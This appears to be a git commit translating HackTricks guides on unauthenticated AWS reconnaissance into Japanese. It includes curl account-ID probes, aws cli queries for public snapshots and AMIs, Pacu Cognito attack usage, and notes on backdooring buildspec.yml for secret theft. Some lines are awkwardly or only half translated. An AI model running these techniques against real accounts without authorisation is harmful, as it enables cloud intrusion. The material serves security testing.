Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:45:32 +00:00
parent ea3a11546a
commit 3c2f3f44a7
245 changed files with 9950 additions and 12671 deletions

View File

@@ -1,58 +1,54 @@
# AWS - Unauthenticated Enum & Access
# AWS - 認証なしの列挙とアクセス
{{#include ../../../banners/hacktricks-training.md}}
## AWS Credentials Leaks
## AWS 認証情報の漏洩
A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
Some useful **tools**:
AWS アカウントへのアクセスや情報を取得する一般的な方法は、**漏洩を検索すること**です。**google dorks**を使用して漏洩を検索したり、**組織**や**組織の従業員**の**Github**や他のプラットフォームの**公開リポジトリ**をチェックしたり、**認証情報漏洩データベース**を検索したり、会社やそのクラウドインフラに関する情報を見つける可能性のある他の場所を探したりできます。\
いくつかの便利な**ツール**
- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
- [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
- [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
## AWS Unauthenticated Enum & Access
## AWS 認証なしの列挙とアクセス
There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
AWS には、インターネット全体または予想以上の多くの人々にアクセスを提供するように構成できるサービスがいくつかあります。ここで確認してください:
- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
- [**アカウントの認証なし列挙**](aws-accounts-unauthenticated-enum.md)
- [**Cloud9 認証なし列挙**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cloudfront 認証なし列挙**](aws-cloudfront-unauthenticated-enum.md)
- [**Cloudsearch 認証なし列挙**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
- [**Cognito 認証なし列挙**](aws-cognito-unauthenticated-enum.md)
- [**DocumentDB 認証なし列挙**](aws-documentdb-enum.md)
- [**EC2 認証なし列挙**](aws-ec2-unauthenticated-enum.md)
- [**Elasticsearch 認証なし列挙**](aws-elasticsearch-unauthenticated-enum.md)
- [**IAM 認証なし列挙**](aws-iam-and-sts-unauthenticated-enum.md)
- [**IoT 認証なしアクセス**](aws-iot-unauthenticated-enum.md)
- [**Kinesis Video 認証なしアクセス**](aws-kinesis-video-unauthenticated-enum.md)
- [**Media 認証なしアクセス**](aws-media-unauthenticated-enum.md)
- [**MQ 認証なしアクセス**](aws-mq-unauthenticated-enum.md)
- [**MSK 認証なしアクセス**](aws-msk-unauthenticated-enum.md)
- [**RDS 認証なしアクセス**](aws-rds-unauthenticated-enum.md)
- [**Redshift 認証なしアクセス**](aws-redshift-unauthenticated-enum.md)
- [**SQS 認証なしアクセス**](aws-sqs-unauthenticated-enum.md)
- [**S3 認証なしアクセス**](aws-s3-unauthenticated-enum.md)
## Cross Account Attacks
## クロスアカウント攻撃
In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
トークである [**隔離の破壊:クロスアカウント AWS 脆弱性**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) では、いくつかのサービスが**アカウント ID を指定しない AWS サービス**が許可されていたため、任意の AWS アカウントがそれらにアクセスできることが示されています。
During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
トーク中に、S3 バケットが**任意の AWS アカウント**の**cloudtrail**を**書き込むことを許可している**など、いくつかの例が示されています:
![](<../../../images/image (260).png>)
Other services found vulnerable:
他に見つかった脆弱なサービス:
- AWS Config
- Serverless repository
- Serverless リポジトリ
## Tools
## ツール
- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
- [**cloud_enum**](https://github.com/initstring/cloud_enum): マルチクラウド OSINT ツール。AWSAzureGoogle Cloud の**公開リソースを見つける**。サポートされている AWS サービス:オープン / 保護された S3 バケット、awsapps (WorkMailWorkDocsConnect など)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Account IDs
## アカウントID
If you have a target there are ways to try to identify account IDs of accounts related to the target.
ターゲットがある場合、ターゲットに関連するアカウントのアカウントIDを特定する方法があります。
### Brute-Force
You create a list of potential account IDs and aliases and check them
### ブルートフォース
潜在的なアカウントIDとエイリアスのリストを作成し、それらをチェックします。
```bash
# Check if an account ID exists
curl -v https://<acount_id>.signin.aws.amazon.com
@@ -17,33 +16,28 @@ curl -v https://<acount_id>.signin.aws.amazon.com
## It also works from account aliases
curl -v https://vodafone-uk2.signin.aws.amazon.com
```
You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
You can [自動化するこのプロセスはこのツールで](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
### OSINT
Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
`<alias>.signin.aws.amazon.com` を含むURLを探してください。**組織に関連するエイリアス**を使用してください。
### Marketplace
If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
ベンダーが**マーケットプレイスにインスタンスを持っている場合、**彼が使用したAWSアカウントのオーナーIDアカウントIDを取得できます。
### Snapshots
- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
- Public AMIs (EC2 -> AMIs -> Public images)
- 公開EBSスナップショット (EC2 -> Snapshots -> Public Snapshots)
- RDS公開スナップショット (RDS -> Snapshots -> All Public Snapshots)
- 公開AMI (EC2 -> AMIs -> Public images)
### Errors
Many AWS error messages (even access denied) will give that information.
多くのAWSエラーメッセージアクセス拒否を含むは、その情報を提供します。
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,57 +4,49 @@
### API Invoke bypass
According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE)Lambda Authorizersは**IAM構文**を使用してAPIエンドポイントを呼び出すための権限を与えるように構成できます。これは[**ドキュメントから**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)取られています:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Permission",
"Action": ["execute-api:Execution-operation"],
"Resource": [
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
]
}
]
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Permission",
"Action": ["execute-api:Execution-operation"],
"Resource": [
"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
]
}
]
}
```
このエンドポイントを呼び出すための権限を与える方法の問題は、**"\*"が「何でも」を意味し**、**正規表現の構文がサポートされていない**ことです。
The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
いくつかの例:
Some examples:
- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
- 各ユーザーに`/dashboard/user/{username}`へのアクセスを与えるためのルール`arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`は、例えば`/admin/dashboard/createAdmin`のような他のルートへのアクセスも与えてしまいます。
> [!WARNING]
> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
> **"\*"はスラッシュでの拡張を止めない**ことに注意してください。したがって、例えばapi-idで"\*"を使用すると、最終的な正規表現が有効である限り、「任意のステージ」や「任意のメソッド」を示す可能性もあります。\
> したがって、`arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
> は、例えば`/prod/GET/dashboard/admin`へのテストステージへのポストリクエストを検証できます。
You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
アクセスを許可したいものを常に明確にし、与えられた権限で他のシナリオが可能かどうかを確認する必要があります。
For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
詳細については、[**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html)の他に、[**この公式aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints)でオーソライザーを実装するためのコードを見つけることができます。
### IAM Policy Injection
### IAMポリシーインジェクション
In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
### Public URL template
同じ[**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE)では、コードが**ユーザー入力**を使用して**IAMポリシーを生成**している場合、ワイルドカード(および"."や特定の文字列など)が**制限を回避する**目的で含まれる可能性があることが明らかにされています。
### 公開URLテンプレート
```
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
```
### 公開API Gateway URLからアカウントIDを取得する
### Get Account ID from public API Gateway URL
S3バケット、Data Exchange、Lambda URLゲートウェイと同様に、公開API Gateway URLから**`aws:ResourceAccount`** **ポリシー条件キー**を悪用してアカウントのアカウントIDを見つけることが可能です。これは、ポリシーの**`aws:ResourceAccount`**セクションでワイルドカードを悪用して、一度に1文字ずつアカウントIDを見つけることによって行われます。\
この技術を使用すると、タグキーがわかっている場合に**タグの値**を取得することもできます(いくつかのデフォルトの興味深いものがあります)。
Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
詳細については、[**元の研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/)と、この悪用を自動化するためのツール[**conditional-love**](https://github.com/plerionhq/conditional-love/)を参照してください。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
https://{random_id}.cloudfront.net
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# AWS - CodeBuild Unauthenticated Access
# AWS - CodeBuild 無認証アクセス
{{#include ../../../banners/hacktricks-training.md}}
## CodeBuild
For more info check this page:
詳細については、このページを確認してください:
{{#ref}}
../aws-services/aws-codebuild-enum.md
@@ -12,28 +12,22 @@ For more info check this page:
### buildspec.yml
If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
**`buildspec.yml`** という名前のファイルを含むリポジトリに対する書き込みアクセスを侵害した場合、このファイルを**バックドア**することができ、これはCodeBuildプロジェクト内で実行される**コマンドを指定**し、秘密情報を流出させ、実行される内容を妨害し、さらに**CodeBuild IAMロールの資格情報**を侵害することができます。
Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
**`buildspec.yml`** ファイルが存在しなくても、Codebuildが使用されていることを知っている場合または別のCI/CDが使用されている場合、実行される**正当なコードを修正する**ことで、例えばリバースシェルを取得することも可能です。
For some related information you could check the page about how to attack Github Actions (similar to this):
関連情報については、Github Actionsを攻撃する方法に関するページを確認してくださいこれに類似しています
{{#ref}}
../../../pentesting-ci-cd/github-security/abusing-github-actions/
{{#endref}}
## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
## AWS CodeBuildにおける自己ホスト型GitHub Actionsランナー <a href="#action-runner" id="action-runner"></a>
[**ドキュメントに示されているように**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html)、**CodeBuild**を構成して、設定されたGithubリポジトリ内でワークフローがトリガーされたときに**自己ホスト型Githubアクション**を実行することが可能です。これは、**`Event type`**が**`WORKFLOW_JOB_QUEUED`**を含む必要があるため、CodeBuildプロジェクトの設定を確認することで検出できます。また、Githubワークフロー内では、次のように**自己ホスト型**ランナーが選択されます:
```bash
runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
```
This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
このGithub ActionsとAWSの新しい関係は、GithubからAWSを妥協させる別の方法を生み出します。Githubのコードは、IAMロールが付与されたCodeBuildプロジェクトで実行されます。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,9 +4,9 @@
## Unauthenticated Cognito
Cognito is an AWS service that enable developers to **grant their app users access to AWS services**. Developers will grant **IAM roles to authenticated users** in their app (potentially people willbe able to just sign up) and they can also grant an **IAM role to unauthenticated users**.
Cognitoは、開発者が**アプリのユーザーにAWSサービスへのアクセスを付与する**ことを可能にするAWSサービスです。開発者は、アプリ内の**認証されたユーザーにIAMロールを付与**し(潜在的に誰でもサインアップできる可能性があります)、**認証されていないユーザーにもIAMロールを付与**することができます。
For basic info about Cognito check:
Cognitoに関する基本情報は以下を確認してください
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -14,39 +14,31 @@ For basic info about Cognito check:
### Identity Pool ID
Identity Pools can grant **IAM roles to unauthenticated users** that just **know the Identity Pool ID** (which is fairly common to **find**), and attacker with this info could try to **access that IAM rol**e and exploit it.\
Moreoever, IAM roles could also be assigned to **authenticated users** that access the Identity Pool. If an attacker can **register a user** or already has **access to the identity provider** used in the identity pool you could access to the **IAM role being given to authenticated** users and abuse its privileges.
アイデンティティプールは、**アイデンティティプールIDを知っているだけの認証されていないユーザーにIAMロールを付与**することができ(これは比較的一般的に**見つける**ことができます)、この情報を持つ攻撃者はその**IAMロールにアクセスし**、それを悪用しようとする可能性があります。\
さらに、IAMロールはアイデンティティプールにアクセスする**認証されたユーザー**にも割り当てられる可能性があります。攻撃者が**ユーザーを登録**できるか、すでにアイデンティティプールで使用されている**アイデンティティプロバイダーにアクセス**できる場合、**認証されたユーザーに付与されるIAMロールにアクセス**し、その特権を悪用することができます。
[**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-identity-pools.md)
### User Pool ID
By default Cognito allows to **register new user**. Being able to register a user might give you **access** to the **underlaying application** or to the **authenticated IAM access role of an Identity Pool** that is accepting as identity provider the Cognito User Pool. [**Check how to do that here**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
デフォルトでは、Cognitoは**新しいユーザーを登録する**ことを許可します。ユーザーを登録できることは、**基盤となるアプリケーション**や、Cognitoユーザープールをアイデンティティプロバイダーとして受け入れている**アイデンティティプールの認証されたIAMアクセスロール**への**アクセス**を提供する可能性があります。[**ここでその方法を確認してください**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration)
### Pacu modules for pentesting and enumeration
[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
[Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSの悪用フレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、脆弱な構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成MFAサポートを含むや、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく特権昇格も自動化します。
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。
#### Usage
Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
サンプルの`cognito__attack`の使用法は、特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての特権昇格ベクターを試みるものです:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します:
```bash
Pacu (new:test) > run cognito__enum
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,8 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
<name>.cluster-<random>.<region>.docdb.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,19 +1,15 @@
# AWS - DynamoDB Unauthenticated Access
# AWS - DynamoDB 認証なしアクセス
{{#include ../../../banners/hacktricks-training.md}}
## Dynamo DB
For more information check:
詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-dynamodb-enum.md
{{#endref}}
Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
AWSへのアクセスを提供する以外に、すべてのAWSまたは一部の侵害された外部AWSアカウントへのアクセス、またはDynamoDBと通信するアプリケーションにSQLインジェクションがある場合を除いて、DynamoDBからAWSアカウントにアクセスする方法はわかりません。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,18 +1,18 @@
# AWS - EC2 Unauthenticated Enum
# AWS - EC2 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
## EC2 & Related Services
## EC2 および関連サービス
Check in this page more information about this:
このページで詳細情報を確認してください:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}
### Public Ports
### 公開ポート
It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
**仮想マシンの任意のポートをインターネットに公開する**ことが可能です。公開されたポートで**何が実行されているか**によって、攻撃者がそれを悪用する可能性があります。
#### SSRF
@@ -20,10 +20,9 @@ It's possible to expose the **any port of the virtual machines to the internet**
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
### Public AMIs & EBS Snapshots
AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
### 公開 AMI および EBS スナップショット
AWS は **誰でも AMI とスナップショットをダウンロードするアクセスを提供する**ことを許可しています。これらのリソースは、自分のアカウントから非常に簡単にリストできます:
```bash
# Public AMIs
aws ec2 describe-images --executable-users all
@@ -38,11 +37,9 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo
aws ec2 describe-snapshots --restorable-by-user-ids all
aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
```
もし誰でも復元可能なスナップショットを見つけた場合は、[AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump)を確認して、スナップショットのダウンロードと略奪に関する指示を確認してください。
If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
#### Public URL template
#### 公開URLテンプレート
```bash
# EC2
ec2-{ip-seperated}.compute-1.amazonaws.com
@@ -50,15 +47,8 @@ ec2-{ip-seperated}.compute-1.amazonaws.com
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
```
### Enumerate EC2 instances with public IP
### パブリックIPを持つEC2インスタンスを列挙する
```bash
aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,38 +1,30 @@
# AWS - ECR Unauthenticated Enum
# AWS - ECR 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
## ECR
For more information check:
詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### Public registry repositories (images)
As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
### 公開レジストリリポジトリ(イメージ)
ECS Enum セクションで述べたように、公開レジストリは **誰でもアクセス可能** で、形式は **`public.ecr.aws/<random>/<name>`** です。攻撃者が公開リポジトリのURLを見つけた場合、彼は **イメージをダウンロードし、メタデータやイメージの内容に敏感な情報を探すことができる**
```bash
aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
```
> [!WARNING]
> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
> これは、レジストリポリシーまたはリポジトリポリシーが**「AWS": "*"**にアクセスを許可している**プライベートレジストリ**でも発生する可能性があります。AWSアカウントを持っている誰でも、そのリポジトリにアクセスできます。
### Enumerate Private Repo
The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
### プライベートリポジトリの列挙
ツール[**skopeo**](https://github.com/containers/skopeo)と[**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md)を使用して、プライベートレジストリ内のアクセス可能なリポジトリをリストすることができます。
```bash
# Get image names
skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,19 +1,18 @@
# AWS - ECS Unauthenticated Enum
# AWS - ECS 認証なし列挙
{{#include ../../../banners/hacktricks-training.md}}
## ECS
For more information check:
詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Publicly Accessible Security Group or Load Balancer for ECS Services
A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
### ECSサービスの公開アクセス可能なセキュリティグループまたはロードバランサー
**インターネットからの受信トラフィックを許可する0.0.0.0/0 または ::/0** 誤って構成されたセキュリティグループは、AWSリソースを攻撃にさらす可能性があります。
```bash
# Example of detecting misconfigured security group for ECS services
aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
@@ -21,9 +20,4 @@ aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contain
# Example of detecting a publicly accessible load balancer for ECS services
aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,38 +4,32 @@
## Elastic Beanstalk
For more information check:
詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Web vulnerability
### Web脆弱性
Note that by default Beanstalk environments have the **Metadatav1 disabled**.
デフォルトでは、Beanstalk環境は**Metadatav1が無効**になっていることに注意してください。
The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
Beanstalkのウェブページの形式は**`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**です。
### Insecure Security Group Rules
### 不適切なセキュリティグループルール
Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
誤って構成されたセキュリティグループルールは、Elastic Beanstalkインスタンスを公開する可能性があります。**任意のIPアドレス0.0.0.0/0からのトラフィックを許可するような過度に許可されたインバウンドルールは、攻撃者がインスタンスにアクセスできるようにする可能性があります**。
### Publicly Accessible Load Balancer
### 公開アクセス可能なロードバランサー
If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
Elastic Beanstalk環境がロードバランサーを使用し、ロードバランサーが公開アクセス可能に構成されている場合、攻撃者は**ロードバランサーに直接リクエストを送信できます**。これは、公開アクセスを意図したウェブアプリケーションには問題ないかもしれませんが、プライベートアプリケーションや環境には問題となる可能性があります。
### Publicly Accessible S3 Buckets
### 公開アクセス可能なS3バケット
Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
### Enumerate Public Environments
Elastic Beanstalkアプリケーションは、デプロイ前にS3バケットに保存されることがよくあります。アプリケーションを含むS3バケットが公開アクセス可能な場合、攻撃者は**アプリケーションコードをダウンロードし、脆弱性や機密情報を探すことができます**。
### 公開環境の列挙
```bash
aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,15 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
### Public URL template
### 公開URLテンプレート
```
https://vpc-{user_provided}-[random].[region].es.amazonaws.com
https://search-{user_provided}-[random].[region].es.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,104 +1,96 @@
